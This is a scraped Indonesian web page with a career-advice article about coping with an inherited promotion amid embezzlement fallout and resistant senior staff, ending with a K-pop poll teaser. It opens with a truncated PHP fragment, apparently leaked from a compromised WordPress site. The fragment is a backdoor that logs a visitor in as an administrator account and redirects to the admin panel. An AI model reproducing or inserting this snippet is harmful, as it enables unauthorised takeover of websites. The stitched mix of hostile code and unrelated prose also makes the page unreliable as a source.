user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Career
5 Solusi Kasus Tantangan Promosi Jabatan

10 Aug 2018



Foto: Pixabay
 

KASUS 3: DIKORBANKAN
Sudah lama saya mendambakan bisa duduk sebagai Kepala Bagian di sebuah divisi di kantor saya. Masalahnya, saya tidak hanya mendapat warisan jabatan, tapi juga masalah! Hal ini terkait dengan kasus penggelapan uang perusahaan yang dilakukan oleh kepala divisi yang baru saja diberhentikan itu. Selain harus mengusut dan mengaudit keuangan, saya juga harus membenarkan masalah manajemen yang selama kepemimpinan beliau carut-marut. Belum juga merasakan nyamannya duduk di kursi jabatan baru, saya sudah dapat warning dari para staf di divisi itu yang dari sisi usia jauh lebih senior dari saya. Mereka mewanti-wanti saya untuk tidak mengadakan perubahan. Padahal, perubahan adalah hal mutlak untuk membenahi sistem menajemen yang amburadul dari pemimpin sebelumnya. Dari yang tadinya semangat, kini saya jadi pesimis. Saya merasa seperti kambing kurban! Risiko dan berat tanggung jawab yang saya pikul tidak sebanding dengan kesenangan materi atau batin yang saya peroleh.
 
Advertisement
SOLUSI:
Situasi yang Anda hadapi memang tidak ringan. Namun, pengetahuan mengenai kondisi yang ada sebetulnya hal yang positif buat Anda. Ini sepenuhnya di tangan Anda sendiri, apakah mau mencoba tantangan yang sudah lama dimimpikan atau akan mundur sebelum mencoba? Hindari memberatkan diri dengan pikiran akan beban yang akan dihadapi. Seringkali, ketika kita sudah menjalani, tidak seberat yang kita pikirkan.

Jangan membebani diri dengan harapan yang tidak realistis, misalnya keharusan untuk membuktikan kehebatan atau kesuperioran kita dalam waktu singkat. Buat daftar langkah-langkah atau rencana kerja yang lebih jangka pendek dan realistis. Di sini baru kita bisa lebih tenang, karena dapat mengetahui mana yang mungkin dan mana yang tidak mungkin dikerjakan.

Tidak harus melakukan gebrakan besar di awal. Lakukan riset, bicarakan dengan orang-orang yang tepat, baca emosi, baca politik, sebelum membuat manuver atau perubahan yang mempengaruhi orang banyak. Kalau kebetulan Anda menghadapi seorang trouble maker, atau si sulit, maka luangkan waktu untuk melakukan pendekatan personal. Tak perlu sampai keluar makan siang, mampir ngobrol di mejanya selama 10-15 menit tentang keseharian atau kesibukannya saja sudah cukup.
 


Topic

#karier

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?